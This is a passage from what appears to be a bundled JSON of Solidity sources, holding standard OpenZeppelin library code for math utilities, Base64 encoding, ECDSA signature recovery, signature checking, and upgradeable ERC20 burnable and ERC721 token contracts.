denominator, Rounding rounding) internal pure returns (uint256) {\n uint256 result = mulDiv(x, y, denominator);\n if (rounding == Rounding.Up && mulmod(x, y, denominator) > 0) {\n result += 1;\n }\n return result;\n }\n\n /**\n * @dev Returns the square root of a number. If the number is not a perfect square, the value is rounded down.\n *\n * Inspired by Henry S. Warren, Jr.'s \"Hacker's Delight\" (Chapter 11).\n */\n function sqrt(uint256 a) internal pure returns (uint256) {\n if (a == 0) {\n return 0;\n }\n\n // For our first guess, we get the biggest power of 2 which is smaller than the square root of the target.\n //\n // We know that the \"msb\" (most significant bit) of our target number `a` is a power of 2 such that we have\n // `msb(a) <= a < 2*msb(a)`. This value can be written `msb(a)=2**k` with `k=log2(a)`.\n //\n // This can be rewritten `2**log2(a) <= a < 2**(log2(a) + 1)`\n // → `sqrt(2**k) <= sqrt(a) < sqrt(2**(k+1))`\n // → `2**(k/2) <= sqrt(a) < 2**((k+1)/2) <= 2**(k/2 + 1)`\n //\n // Consequently, `2**(log2(a) / 2)` is a good first approximation of `sqrt(a)` with at least 1 correct bit.\n uint256 result = 1 << (log2(a) >> 1);\n\n // At this point `result` is an estimation with one bit of precision. We know the true value is a uint128,\n // since it is the square root of a uint256. Newton's method converges quadratically (precision doubles at\n // every iteration). We thus need at most 7 iteration to turn our partial result with one bit of precision\n // into the expected uint128 result.\n unchecked {\n result = (result + a / result) >> 1;\n result = (result + a / result) >> 1;\n result = (result + a / result) >> 1;\n result = (result + a / result) >> 1;\n result = (result + a / result) >> 1;\n result = (result + a / result) >> 1;\n result = (result + a / result) >> 1;\n return min(result, a / result);\n }\n }\n\n /**\n * @notice Calculates sqrt(a), following the selected rounding direction.\n */\n function sqrt(uint256 a, Rounding rounding) internal pure returns (uint256) {\n unchecked {\n uint256 result = sqrt(a);\n return result + (rounding == Rounding.Up && result * result < a ? 1 : 0);\n }\n }\n\n /**\n * @dev Return the log in base 2, rounded down, of a positive value.\n * Returns 0 if given 0.\n */\n function log2(uint256 value) internal pure returns (uint256) {\n uint256 result = 0;\n unchecked {\n if (value >> 128 > 0) {\n value >>= 128;\n result += 128;\n }\n if (value >> 64 > 0) {\n value >>= 64;\n result += 64;\n }\n if (value >> 32 > 0) {\n value >>= 32;\n result += 32;\n }\n if (value >> 16 > 0) {\n value >>= 16;\n result += 16;\n }\n if (value >> 8 > 0) {\n value >>= 8;\n result += 8;\n }\n if (value >> 4 > 0) {\n value >>= 4;\n result += 4;\n }\n if (value >> 2 > 0) {\n value >>= 2;\n result += 2;\n }\n if (value >> 1 > 0) {\n result += 1;\n }\n }\n return result;\n }\n\n /**\n * @dev Return the log in base 2, following the selected rounding direction, of a positive value.\n * Returns 0 if given 0.\n */\n function log2(uint256 value, Rounding rounding) internal pure returns (uint256) {\n unchecked {\n uint256 result = log2(value);\n return result + (rounding == Rounding.Up && 1 << result < value ? 1 : 0);\n }\n }\n\n /**\n * @dev Return the log in base 10, rounded down, of a positive value.\n * Returns 0 if given 0.\n */\n function log10(uint256 value) internal pure returns (uint256) {\n uint256 result = 0;\n unchecked {\n if (value >= 10 ** 64) {\n value /= 10 ** 64;\n result += 64;\n }\n if (value >= 10 ** 32) {\n value /= 10 ** 32;\n result += 32;\n }\n if (value >= 10 ** 16) {\n value /= 10 ** 16;\n result += 16;\n }\n if (value >= 10 ** 8) {\n value /= 10 ** 8;\n result += 8;\n }\n if (value >= 10 ** 4) {\n value /= 10 ** 4;\n result += 4;\n }\n if (value >= 10 ** 2) {\n value /= 10 ** 2;\n result += 2;\n }\n if (value >= 10 ** 1) {\n result += 1;\n }\n }\n return result;\n }\n\n /**\n * @dev Return the log in base 10, following the selected rounding direction, of a positive value.\n * Returns 0 if given 0.\n */\n function log10(uint256 value, Rounding rounding) internal pure returns (uint256) {\n unchecked {\n uint256 result = log10(value);\n return result + (rounding == Rounding.Up && 10 ** result < value ? 1 : 0);\n }\n }\n\n /**\n * @dev Return the log in base 256, rounded down, of a positive value.\n * Returns 0 if given 0.\n *\n * Adding one to the result gives the number of pairs of hex symbols needed to represent `value` as a hex string.\n */\n function log256(uint256 value) internal pure returns (uint256) {\n uint256 result = 0;\n unchecked {\n if (value >> 128 > 0) {\n value >>= 128;\n result += 16;\n }\n if (value >> 64 > 0) {\n value >>= 64;\n result += 8;\n }\n if (value >> 32 > 0) {\n value >>= 32;\n result += 4;\n }\n if (value >> 16 > 0) {\n value >>= 16;\n result += 2;\n }\n if (value >> 8 > 0) {\n result += 1;\n }\n }\n return result;\n }\n\n /**\n * @dev Return the log in base 256, following the selected rounding direction, of a positive value.\n * Returns 0 if given 0.\n */\n function log256(uint256 value, Rounding rounding) internal pure returns (uint256) {\n unchecked {\n uint256 result = log256(value);\n return result + (rounding == Rounding.Up && 1 << (result << 3) < value ? 1 : 0);\n }\n }\n}\n"
},
"lib/openzeppelin-contracts/contracts/utils/math/SignedMath.sol": {
"content": "// SPDX-License-Identifier: MIT\n// OpenZeppelin Contracts (last updated v4.8.0) (utils/math/SignedMath.sol)\n\npragma solidity ^0.8.0;\n\n/**\n * @dev Standard signed math utilities missing in the Solidity language.\n */\nlibrary SignedMath {\n /**\n * @dev Returns the largest of two signed numbers.\n */\n function max(int256 a, int256 b) internal pure returns (int256) {\n return a > b ? a : b;\n }\n\n /**\n * @dev Returns the smallest of two signed numbers.\n */\n function min(int256 a, int256 b) internal pure returns (int256) {\n return a < b ? a : b;\n }\n\n /**\n * @dev Returns the average of two signed numbers without overflow.\n * The result is rounded towards zero.\n */\n function average(int256 a, int256 b) internal pure returns (int256) {\n // Formula from the book \"Hacker's Delight\"\n int256 x = (a & b) + ((a ^ b) >> 1);\n return x + (int256(uint256(x) >> 255) & (a ^ b));\n }\n\n /**\n * @dev Returns the absolute unsigned value of a signed value.\n */\n function abs(int256 n) internal pure returns (uint256) {\n unchecked {\n // must be unchecked in order to support `n = type(int256).min`\n return uint256(n >= 0 ? n : -n);\n }\n }\n}\n"
},
"lib/openzeppelin-contracts-upgradeable/contracts/token/ERC20/extensions/ERC20BurnableUpgradeable.sol": {
"content": "// SPDX-License-Identifier: MIT\n// OpenZeppelin Contracts (last updated v4.5.0) (token/ERC20/extensions/ERC20Burnable.sol)\n\npragma solidity ^0.8.0;\n\nimport \"../ERC20Upgradeable.sol\";\nimport \"../../../utils/ContextUpgradeable.sol\";\nimport \"../../../proxy/utils/Initializable.sol\";\n\n/**\n * @dev Extension of {ERC20} that allows token holders to destroy both their own\n * tokens and those that they have an allowance for, in a way that can be\n * recognized off-chain (via event analysis).\n */\nabstract contract ERC20BurnableUpgradeable is Initializable, ContextUpgradeable, ERC20Upgradeable {\n function __ERC20Burnable_init() internal onlyInitializing {\n }\n\n function __ERC20Burnable_init_unchained() internal onlyInitializing {\n }\n /**\n * @dev Destroys `amount` tokens from the caller.\n *\n * See {ERC20-_burn}.\n */\n function burn(uint256 amount) public virtual {\n _burn(_msgSender(), amount);\n }\n\n /**\n * @dev Destroys `amount` tokens from `account`, deducting from the caller's\n * allowance.\n *\n * See {ERC20-_burn} and {ERC20-allowance}.\n *\n * Requirements:\n *\n * - the caller must have allowance for ``accounts``'s tokens of at least\n * `amount`.\n */\n function burnFrom(address account, uint256 amount) public virtual {\n _spendAllowance(account, _msgSender(), amount);\n _burn(account, amount);\n }\n\n /**\n * @dev This empty reserved space is put in place to allow future versions to add new\n * variables without shifting down storage in the inheritance chain.\n * See https://docs.openzeppelin.com/contracts/4.x/upgradeable#storage_gaps\n */\n uint256[50] private __gap;\n}\n"
},
"lib/openzeppelin-contracts/contracts/utils/Base64.sol": {
"content": "// SPDX-License-Identifier: MIT\n// OpenZeppelin Contracts (last updated v4.7.0) (utils/Base64.sol)\n\npragma solidity ^0.8.0;\n\n/**\n * @dev Provides a set of functions to operate with Base64 strings.\n *\n * _Available since v4.5._\n */\nlibrary Base64 {\n /**\n * @dev Base64 Encoding/Decoding Table\n */\n string internal constant _TABLE = \"ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/\";\n\n /**\n * @dev Converts a `bytes` to its Bytes64 `string` representation.\n */\n function encode(bytes memory data) internal pure returns (string memory) {\n /**\n * Inspired by Brecht Devos (Brechtpd) implementation - MIT licence\n * https://github.com/Brechtpd/base64/blob/e78d9fd951e7b0977ddca77d92dc85183770daf4/base64.sol\n */\n if (data.length == 0) return \"\";\n\n // Loads the table into memory\n string memory table = _TABLE;\n\n // Encoding takes 3 bytes chunks of binary data from `bytes` data parameter\n // and split into 4 numbers of 6 bits.\n // The final Base64 length should be `bytes` data length multiplied by 4/3 rounded up\n // - `data.length + 2` -> Round up\n // - `/ 3` -> Number of 3-bytes chunks\n // - `4 *` -> 4 characters for each chunk\n string memory result = new string(4 * ((data.length + 2) / 3));\n\n /// @solidity memory-safe-assembly\n assembly {\n // Prepare the lookup table (skip the first \"length\" byte)\n let tablePtr := add(table, 1)\n\n // Prepare result pointer, jump over length\n let resultPtr := add(result, 32)\n\n // Run over the input, 3 bytes at a time\n for {\n let dataPtr := data\n let endPtr := add(data, mload(data))\n } lt(dataPtr, endPtr) {\n\n } {\n // Advance 3 bytes\n dataPtr := add(dataPtr, 3)\n let input := mload(dataPtr)\n\n // To write each character, shift the 3 bytes (18 bits) chunk\n // 4 times in blocks of 6 bits for each character (18, 12, 6, 0)\n // and apply logical AND with 0x3F which is the number of\n // the previous character in the ASCII table prior to the Base64 Table\n // The result is then added to the table to get the character to write,\n // and finally write it in the result pointer but with a left shift\n // of 256 (1 byte) - 8 (1 ASCII char) = 248 bits\n\n mstore8(resultPtr, mload(add(tablePtr, and(shr(18, input), 0x3F))))\n resultPtr := add(resultPtr, 1) // Advance\n\n mstore8(resultPtr, mload(add(tablePtr, and(shr(12, input), 0x3F))))\n resultPtr := add(resultPtr, 1) // Advance\n\n mstore8(resultPtr, mload(add(tablePtr, and(shr(6, input), 0x3F))))\n resultPtr := add(resultPtr, 1) // Advance\n\n mstore8(resultPtr, mload(add(tablePtr, and(input, 0x3F))))\n resultPtr := add(resultPtr, 1) // Advance\n }\n\n // When data `bytes` is not exactly 3 bytes long\n // it is padded with `=` characters at the end\n switch mod(mload(data), 3)\n case 1 {\n mstore8(sub(resultPtr, 1), 0x3d)\n mstore8(sub(resultPtr, 2), 0x3d)\n }\n case 2 {\n mstore8(sub(resultPtr, 1), 0x3d)\n }\n }\n\n return result;\n }\n}\n"
},
"lib/openzeppelin-contracts/contracts/utils/cryptography/ECDSA.sol": {
"content": "// SPDX-License-Identifier: MIT\n// OpenZeppelin Contracts (last updated v4.9.0) (utils/cryptography/ECDSA.sol)\n\npragma solidity ^0.8.0;\n\nimport \"../Strings.sol\";\n\n/**\n * @dev Elliptic Curve Digital Signature Algorithm (ECDSA) operations.\n *\n * These functions can be used to verify that a message was signed by the holder\n * of the private keys of a given address.\n */\nlibrary ECDSA {\n enum RecoverError {\n NoError,\n InvalidSignature,\n InvalidSignatureLength,\n InvalidSignatureS,\n InvalidSignatureV // Deprecated in v4.8\n }\n\n function _throwError(RecoverError error) private pure {\n if (error == RecoverError.NoError) {\n return; // no error: do nothing\n } else if (error == RecoverError.InvalidSignature) {\n revert(\"ECDSA: invalid signature\");\n } else if (error == RecoverError.InvalidSignatureLength) {\n revert(\"ECDSA: invalid signature length\");\n } else if (error == RecoverError.InvalidSignatureS) {\n revert(\"ECDSA: invalid signature 's' value\");\n }\n }\n\n /**\n * @dev Returns the address that signed a hashed message (`hash`) with\n * `signature` or error string. This address can then be used for verification purposes.\n *\n * The `ecrecover` EVM opcode allows for malleable (non-unique) signatures:\n * this function rejects them by requiring the `s` value to be in the lower\n * half order, and the `v` value to be either 27 or 28.\n *\n * IMPORTANT: `hash` _must_ be the result of a hash operation for the\n * verification to be secure: it is possible to craft signatures that\n * recover to arbitrary addresses for non-hashed data. A safe way to ensure\n * this is by receiving a hash of the original message (which may otherwise\n * be too long), and then calling {toEthSignedMessageHash} on it.\n *\n * Documentation for signature generation:\n * - with https://web3js.readthedocs.io/en/v1.3.4/web3-eth-accounts.html#sign[Web3.js]\n * - with https://docs.ethers.io/v5/api/signer/#Signer-signMessage[ethers]\n *\n * _Available since v4.3._\n */\n function tryRecover(bytes32 hash, bytes memory signature) internal pure returns (address, RecoverError) {\n if (signature.length == 65) {\n bytes32 r;\n bytes32 s;\n uint8 v;\n // ecrecover takes the signature parameters, and the only way to get them\n // currently is to use assembly.\n /// @solidity memory-safe-assembly\n assembly {\n r := mload(add(signature, 0x20))\n s := mload(add(signature, 0x40))\n v := byte(0, mload(add(signature, 0x60)))\n }\n return tryRecover(hash, v, r, s);\n } else {\n return (address(0), RecoverError.InvalidSignatureLength);\n }\n }\n\n /**\n * @dev Returns the address that signed a hashed message (`hash`) with\n * `signature`. This address can then be used for verification purposes.\n *\n * The `ecrecover` EVM opcode allows for malleable (non-unique) signatures:\n * this function rejects them by requiring the `s` value to be in the lower\n * half order, and the `v` value to be either 27 or 28.\n *\n * IMPORTANT: `hash` _must_ be the result of a hash operation for the\n * verification to be secure: it is possible to craft signatures that\n * recover to arbitrary addresses for non-hashed data. A safe way to ensure\n * this is by receiving a hash of the original message (which may otherwise\n * be too long), and then calling {toEthSignedMessageHash} on it.\n */\n function recover(bytes32 hash, bytes memory signature) internal pure returns (address) {\n (address recovered, RecoverError error) = tryRecover(hash, signature);\n _throwError(error);\n return recovered;\n }\n\n /**\n * @dev Overload of {ECDSA-tryRecover} that receives the `r` and `vs` short-signature fields separately.\n *\n * See https://eips.ethereum.org/EIPS/eip-2098[EIP-2098 short signatures]\n *\n * _Available since v4.3._\n */\n function tryRecover(bytes32 hash, bytes32 r, bytes32 vs) internal pure returns (address, RecoverError) {\n bytes32 s = vs & bytes32(0x7fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff);\n uint8 v = uint8((uint256(vs) >> 255) + 27);\n return tryRecover(hash, v, r, s);\n }\n\n /**\n * @dev Overload of {ECDSA-recover} that receives the `r and `vs` short-signature fields separately.\n *\n * _Available since v4.2._\n */\n function recover(bytes32 hash, bytes32 r, bytes32 vs) internal pure returns (address) {\n (address recovered, RecoverError error) = tryRecover(hash, r, vs);\n _throwError(error);\n return recovered;\n }\n\n /**\n * @dev Overload of {ECDSA-tryRecover} that receives the `v`,\n * `r` and `s` signature fields separately.\n *\n * _Available since v4.3._\n */\n function tryRecover(bytes32 hash, uint8 v, bytes32 r, bytes32 s) internal pure returns (address, RecoverError) {\n // EIP-2 still allows signature malleability for ecrecover(). Remove this possibility and make the signature\n // unique. Appendix F in the Ethereum Yellow paper (https://ethereum.github.io/yellowpaper/paper.pdf), defines\n // the valid range for s in (301): 0 < s < secp256k1n ÷ 2 + 1, and for v in (302): v ∈ {27, 28}. Most\n // signatures from current libraries generate a unique signature with an s-value in the lower half order.\n //\n // If your library generates malleable signatures, such as s-values in the upper range, calculate a new s-value\n // with 0xFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFEBAAEDCE6AF48A03BBFD25E8CD0364141 - s1 and flip v from 27 to 28 or\n // vice versa. If your library also generates signatures with 0/1 for v instead 27/28, add 27 to v to accept\n // these malleable signatures as well.\n if (uint256(s) > 0x7FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF5D576E7357A4501DDFE92F46681B20A0) {\n return (address(0), RecoverError.InvalidSignatureS);\n }\n\n // If the signature is valid (and not malleable), return the signer address\n address signer = ecrecover(hash, v, r, s);\n if (signer == address(0)) {\n return (address(0), RecoverError.InvalidSignature);\n }\n\n return (signer, RecoverError.NoError);\n }\n\n /**\n * @dev Overload of {ECDSA-recover} that receives the `v`,\n * `r` and `s` signature fields separately.\n */\n function recover(bytes32 hash, uint8 v, bytes32 r, bytes32 s) internal pure returns (address) {\n (address recovered, RecoverError error) = tryRecover(hash, v, r, s);\n _throwError(error);\n return recovered;\n }\n\n /**\n * @dev Returns an Ethereum Signed Message, created from a `hash`. This\n * produces hash corresponding to the one signed with the\n * https://eth.wiki/json-rpc/API#eth_sign[`eth_sign`]\n * JSON-RPC method as part of EIP-191.\n *\n * See {recover}.\n */\n function toEthSignedMessageHash(bytes32 hash) internal pure returns (bytes32 message) {\n // 32 is the length in bytes of hash,\n // enforced by the type signature above\n /// @solidity memory-safe-assembly\n assembly {\n mstore(0x00, \"\\x19Ethereum Signed Message:\\n32\")\n mstore(0x1c, hash)\n message := keccak256(0x00, 0x3c)\n }\n }\n\n /**\n * @dev Returns an Ethereum Signed Message, created from `s`. This\n * produces hash corresponding to the one signed with the\n * https://eth.wiki/json-rpc/API#eth_sign[`eth_sign`]\n * JSON-RPC method as part of EIP-191.\n *\n * See {recover}.\n */\n function toEthSignedMessageHash(bytes memory s) internal pure returns (bytes32) {\n return keccak256(abi.encodePacked(\"\\x19Ethereum Signed Message:\\n\", Strings.toString(s.length), s));\n }\n\n /**\n * @dev Returns an Ethereum Signed Typed Data, created from a\n * `domainSeparator` and a `structHash`. This produces hash corresponding\n * to the one signed with the\n * https://eips.ethereum.org/EIPS/eip-712[`eth_signTypedData`]\n * JSON-RPC method as part of EIP-712.\n *\n * See {recover}.\n */\n function toTypedDataHash(bytes32 domainSeparator, bytes32 structHash) internal pure returns (bytes32 data) {\n /// @solidity memory-safe-assembly\n assembly {\n let ptr := mload(0x40)\n mstore(ptr, \"\\x19\\x01\")\n mstore(add(ptr, 0x02), domainSeparator)\n mstore(add(ptr, 0x22), structHash)\n data := keccak256(ptr, 0x42)\n }\n }\n\n /**\n * @dev Returns an Ethereum Signed Data with intended validator, created from a\n * `validator` and `data` according to the version 0 of EIP-191.\n *\n * See {recover}.\n */\n function toDataWithIntendedValidatorHash(address validator, bytes memory data) internal pure returns (bytes32) {\n return keccak256(abi.encodePacked(\"\\x19\\x00\", validator, data));\n }\n}\n"
},
"lib/openzeppelin-contracts/contracts/utils/cryptography/SignatureChecker.sol": {
"content": "// SPDX-License-Identifier: MIT\n// OpenZeppelin Contracts (last updated v4.9.0) (utils/cryptography/SignatureChecker.sol)\n\npragma solidity ^0.8.0;\n\nimport \"./ECDSA.sol\";\nimport \"../../interfaces/IERC1271.sol\";\n\n/**\n * @dev Signature verification helper that can be used instead of `ECDSA.recover` to seamlessly support both ECDSA\n * signatures from externally owned accounts (EOAs) as well as ERC1271 signatures from smart contract wallets like\n * Argent and Gnosis Safe.\n *\n * _Available since v4.1._\n */\nlibrary SignatureChecker {\n /**\n * @dev Checks if a signature is valid for a given signer and data hash. If the signer is a smart contract, the\n * signature is validated against that smart contract using ERC1271, otherwise it's validated using `ECDSA.recover`.\n *\n * NOTE: Unlike ECDSA signatures, contract signatures are revocable, and the outcome of this function can thus\n * change through time. It could return true at block N and false at block N+1 (or the opposite).\n */\n function isValidSignatureNow(address signer, bytes32 hash, bytes memory signature) internal view returns (bool) {\n (address recovered, ECDSA.RecoverError error) = ECDSA.tryRecover(hash, signature);\n return\n (error == ECDSA.RecoverError.NoError && recovered == signer) ||\n isValidERC1271SignatureNow(signer, hash, signature);\n }\n\n /**\n * @dev Checks if a signature is valid for a given signer and data hash. The signature is validated\n * against the signer smart contract using ERC1271.\n *\n * NOTE: Unlike ECDSA signatures, contract signatures are revocable, and the outcome of this function can thus\n * change through time. It could return true at block N and false at block N+1 (or the opposite).\n */\n function isValidERC1271SignatureNow(\n address signer,\n bytes32 hash,\n bytes memory signature\n ) internal view returns (bool) {\n (bool success, bytes memory result) = signer.staticcall(\n abi.encodeWithSelector(IERC1271.isValidSignature.selector, hash, signature)\n );\n return (success &&\n result.length >= 32 &&\n abi.decode(result, (bytes32)) == bytes32(IERC1271.isValidSignature.selector));\n }\n}\n"
},
"lib/openzeppelin-contracts-upgradeable/contracts/token/ERC721/ERC721Upgradeable.sol": {
"content": "// SPDX-License-Identifier: MIT\n// OpenZeppelin Contracts (last updated v4.9.0) (token/ERC721/ERC721.sol)\n\npragma solidity ^0.8.0;\n\nimport \"./IERC721Upgradeable.sol\";\nimport \"./IERC721ReceiverUpgradeable.sol\";\nimport \"./extensions/IERC721MetadataUpgradeable.sol\";\nimport \"../../utils/AddressUpgradeable.sol\";\nimport \"../../utils/ContextUpgradeable.sol\";\nimport \"../../utils/StringsUpgradeable.sol\";\nimport \"../../utils/introspection/ERC165Upgradeable.sol\";\nimport \"../../proxy/utils/Initializable.sol\";\n\n/**\n * @dev Implementation of https://eips.ethereum.org/EIPS/eip-721[ERC721] Non-Fungible Token Standard, including\n * the Metadata extension, but not including the Enumerable extension, which is available separately as\n * {ERC721Enumerable}.\n */\ncontract ERC721Upgradeable is Initializable, ContextUpgradeable, ERC165Upgradeable, IERC721Upgradeable, IERC721MetadataUpgradeable {\n using AddressUpgradeable for address;\n using StringsUpgradeable for uint256;\n\n // Token name\n string private _name;\n\n // Token symbol\n string private _symbol;\n\n // Mapping from token ID to owner address\n mapping(uint256 => address) private _owners;\n\n // Mapping owner address to token count\n mapping(address => uint256) private _balances;\n\n // Mapping from token ID to approved address\n mapping(uint256 => address) private _tokenApprovals;\n\n // Mapping from owner to operator approvals\n mapping(address => mapping(address => bool)) private _operatorApprovals;\n\n /**\n * @dev Initializes the contract by setting a `name` and a `symbol` to the token collection.\n */\n function __ERC721_init(string memory name_, string memory symbol_) internal onlyInitializing {\n __ERC721_init_unchained(name_, symbol_);\n }\n\n function __ERC721_init_unchained(string memory name_, string memory symbol_) internal onlyInitializing {\n _name = name_;\n _symbol = symbol_;\n }\n\n /**\n * @dev See {IERC165-supportsInterface}.\n */\n function supportsInterface(bytes4 interfaceId) public view virtual override(ERC165Upgradeable, IERC165Upgradeable) returns (bool) {\n return\n interfaceId == type(IERC721Upgradeable).interfaceId ||\n interfaceId == type(IERC721MetadataUpgradeable).interfaceId ||\n super.supportsInterface(interfaceId);\n }\n\n /**\n * @dev See {IERC721-balanceOf}.\n */\n function balanceOf(address owner) public view virtual override returns (uint256) {\n require(owner != address(0), \"ERC721: address zero is not a valid owner\");\n return _balances[owner];\n }\n\n /**\n * @dev See {IERC721-ownerOf}.\n */\n function ownerOf(uint256 tokenId) public view virtual override returns (address) {\n address owner = _ownerOf(tokenId);\n require(owner != address(0), \"ERC721: invalid token ID\");\n return owner;\n }\n\n /**\n * @dev See {IERC721Metadata-name}.\n */\n function name() public view virtual override returns (string memory) {\n return _name;\n }\n\n /**\n * @dev See {IERC721Metadata-symbol}.\n */\n function symbol() public view virtual override returns (string memory) {\n return _symbol;\n }\n\n /**\n * @dev See {IERC721Metadata-tokenURI}.\n */\n function tokenURI(uint256 tokenId) public view virtual override returns (string memory) {\n _requireMinted(tokenId);\n\n string memory baseURI = _baseURI();\n return bytes(baseURI).length > 0 ? string(abi.encodePacked(baseURI, tokenId.toString())) : \"\";\n }\n\n /**\n * @dev Base URI for computing {tokenURI}. If set, the resulting URI for each\n * token will be the concatenation of the `baseURI` and the `tokenId`. Empty\n * by default, can be overridden in child contracts.\n */\n function _baseURI() internal view virtual returns (string memory) {\n return \"\";\n }\n\n /**\n * @dev See {IERC721-approve}.\n */\n function approve(address to, uint256 tokenId) public virtual override {\n address owner = ERC721Upgradeable.ownerOf(tokenId);\n require(to != owner, \"ERC721: approval to current owner\");\n\n require(\n _msgSender() == owner || isApprovedForAll(owner, _msgSender()),\n \"ERC721: approve caller is not token owner or approved for all\"\n );\n\n _approve(to, tokenId);\n }\n\n /**\n * @dev See {IERC721-getApproved}.\n */\n function getApproved(uint256 tokenId) public view virtual override returns (address) {\n _requireMinted(tokenId);\n\n return _tokenApprovals[tokenId];\n }\n\n /**\n * @dev See {IERC721-setApprovalForAll}.\n */\n function setApprovalForAll(address operator, bool approved) public virtual override {\n _setApprovalForAll(_msgSender(), operator, approved);\n }\n\n /**\n * @dev See {IERC721-isApprovedForAll}.\n */\n function isApprovedForAll(address owner, address operator) public view virtual override returns (bool) {\n return _operatorApprovals[owner][operator];\n }\n\n /**\n * @dev See {IERC721-transferFrom}.\n */\n function transferFrom(address from, address to, uint256 tokenId) public virtual override {\n //solhint-disable-next-line max-line-length\n require(_isApprovedOrOwner(_msgSender(), tokenId), \"ERC721: caller is not token owner or approved\");\n\n _transfer(from, to, tokenId);\n }\n\n /**\n * @dev See {IERC721-safeTransferFrom}.\n */\n function safeTransferFrom(address from, address to, uint256 tokenId) public virtual override {\n safeTransferFrom(from, to, tokenId, \"\");\n }\n\n /**\n * @dev See {IERC721-safeTransferFrom}.\n */\n function safeTransferFrom(address from, address to, uint256 tokenId, bytes memory data) public virtual override {\n require(_isApprovedOrOwner(_msgSender(), tokenId), \"ERC721: caller is not token owner or approved\");\n _safeTransfer(from, to, tokenId, data);\n }\n\n /**\n * @dev Safely transfers `tokenId` token from `from` to `to`, checking first that contract recipients\n * are aware of the ERC721 protocol to prevent tokens from being forever locked.\n *\n * `data` is additional data, it has no specified format and it is sent in call to `to`.\n *\n * This internal function is equivalent to {safeTransferFrom}, and can be used to e.g.\n * implement alternative mechanisms to perform token transfer, such as signature-based.\n *\n * Requirements:\n *\n * - `from` cannot be the zero address.\n * - `to` cannot be the zero address.\n * - `tokenId` token must exist and be owned by `from`.\n * - If `to` refers to a smart contract, it must implement {IERC721Receiver-onERC721Received}, which is called upon a safe transfer.\n *\n * Emits a {Transfer} event.\n */\n function _safeTransfer(address from, address to, uint256 tokenId, bytes memory data) internal virtual {\n _transfer(from, to, tokenId);\n require(_checkOnERC721Received(from, to, tokenId, data), \"ERC721: transfer to non ERC721Receiver implementer\");\n }\n\n /**\n * @dev Returns the owner of the `tokenId`. Does NOT revert if token doesn't exist\n */\n function _ownerOf(uint256 tokenId) internal view virtual returns (address) {\n return _owners[tokenId];\n }\n\n /**\n * @dev Returns whether `tokenId` exists.\n *\n * Tokens can be managed by their owner or approved accounts via {approve} or {setApprovalForAll}.\n *\n * Tokens start existing when they are minted (`_mint`),\n * and stop existing when they are burned (`_burn`).\n */\n function _exists(uint256 tokenId) internal view virtual returns (bool) {\n return _ownerOf(tokenId) != address(0);\n }\n\n /**\n * @dev Returns whether `spender` is allowed to manage `tokenId`.\n *\n * Requirements:\n *\n * - `tokenId` must exist.\n */\n function _isApprovedOrOwner(address spender, uint256 tokenId) internal view virtual returns (bool) {\n address owner = ERC721Upgradeable.ownerOf(tokenId);\n return (spender == owner || isApprovedForAll(owner, spender) || getApproved(tokenId) == spender);\n }\n\n /**\n * @dev Safely mints `tokenId` and transfers it to `to`.\n *\n * Requirements:\n *\n * - `tokenId` must not exist.\n * - If `to` refers to a smart contract, it must implement {IERC721Receiver-onERC721Received}, which is called upon a safe transfer.\n *\n * Emits a {Transfer} event.\n */\n function _safeMint(address to, uint256 tokenId) internal virtual {\n _safeMint(to, tokenId, \"\");\n }\n\n /**\n * @dev Same as {xref-ERC721-_safeMint-address-uint256-}[`_safeMint`], with an additional `data` parameter which is\n * forwarded in {IERC721Receiver-onERC721Received} to contract recipients.\n */\n function _safeMint(address to, uint256 tokenId, bytes memory data) internal virtual {\n _mint(to, tokenId);\n require(\n _checkOnERC721Received(address(0), to, tokenId, data),\n \"ERC721: transfer to non ERC721Receiver implementer\"\n );\n }\n\n /**\n * @dev Mints `tokenId` and transfers it to `to`.\n *\n * WARNING: Usage of this method is discouraged, use {_safeMint} whenever possible\n *\n * Requirements:\n *\n * - `tokenId` must not exist.\n * - `to` cannot be the zero address.\n *\n * Emits a {Transfer} event.\n */\n function _mint(address to, uint256 tokenId) internal virtual {\n require(to != address(0), \"ERC721: mint to the zero address\");\n require(!_exists(tokenId), \"ERC721: token already minted\");\n\n _beforeTokenTransfer(address(0), to, tokenId, 1);\n\n // Check that tokenId was not minted by `_beforeTokenTransfer` hook\n require(!_exists(tokenId), \"ERC721: token already minted\");\n\n unchecked {\n // Will not overflow unless all 2**256 token ids are minted to the same owner.\n // Given that tokens are minted one by one, it is impossible in practice that\n // this ever happens. Might change if we allow batch minting.\n // The ERC fails to describe this case.\n _balances[to] += 1;\n }\n\n _owners[tokenId] = to;\n\n emit Transfer(address(0), to, tokenId);\n\n _afterTokenTransfer(address(0), to, tokenId, 1);\n }\n\n /**\n * @dev Destroys `tokenId`.\n * The approval is cleared when the token is burned.\n * This is an internal function that does not check if the sender is authorized to operate on the token.\n *\n * Requirements:\n *\n * - `tokenId` must exist.\n *\n * Emits a {Transfer} event.\n */\n function _burn(uint256 tokenId) internal virtual {\n address owner = ERC721Upgradeable.ownerOf(tokenId);\n\n _beforeTokenTransfer(owner, address(0), tokenId, 1);\n\n // Update ownership in case tokenId was transferred by `_beforeTokenTransfer` hook\n owner = ERC721Upgradeable.ownerOf(tokenId);\n\n // Clear approvals\n delete _tokenApprovals[tokenId];\n\n unchecked {\n // Cannot overflow, as that would require more tokens to be burned/transferred\n // out than the owner initially received through minting and transferring in.\n _balances[owner] -= 1;\n }\n delete _owners[tokenId];\n\n emit Transfer(owner, address(0), tokenId);\n\n _afterTokenTransfer(owner, address(0), tokenId, 1);\n }\n\n /**\n * @dev Transfers `tokenId` from `from` to `to`.\n * As opposed to {transferFrom}, this imposes no restrictions on msg.sender.\n *\n * Requirements:\n *\n * - `to` cannot be the zero address.\n * - `tokenId` token must be owned by `from`.\n *\n * Emits a {Transfer} event.\n */\n function _transfer(address from, address to, uint256 tokenId) internal virtual {\n require(ERC721Upgradeable.ownerOf(tokenId) == from, \"ERC721: transfer from incorrect owner\");\n require(to != address(0), \"ERC721: transfer to the zero address\");\n\n _beforeTokenTransfer(from, to, tokenId, 1);\n\n // Check that tokenId was not transferred by `_beforeTokenTransfer` hook\n require(ERC721Upgradeable.ownerOf(tokenId) == from, \"ERC721: transfer from incorrect owner\");\n\n // Clear approvals from the previous owner\n delete _tokenApprovals[tokenId];\n\n unchecked {\n // `_balances[from]` cannot overflow for the same reason as described in `_burn`:\n // `from`'s balance is the number of token held, which is at least one before the current\n // transfer.\n // 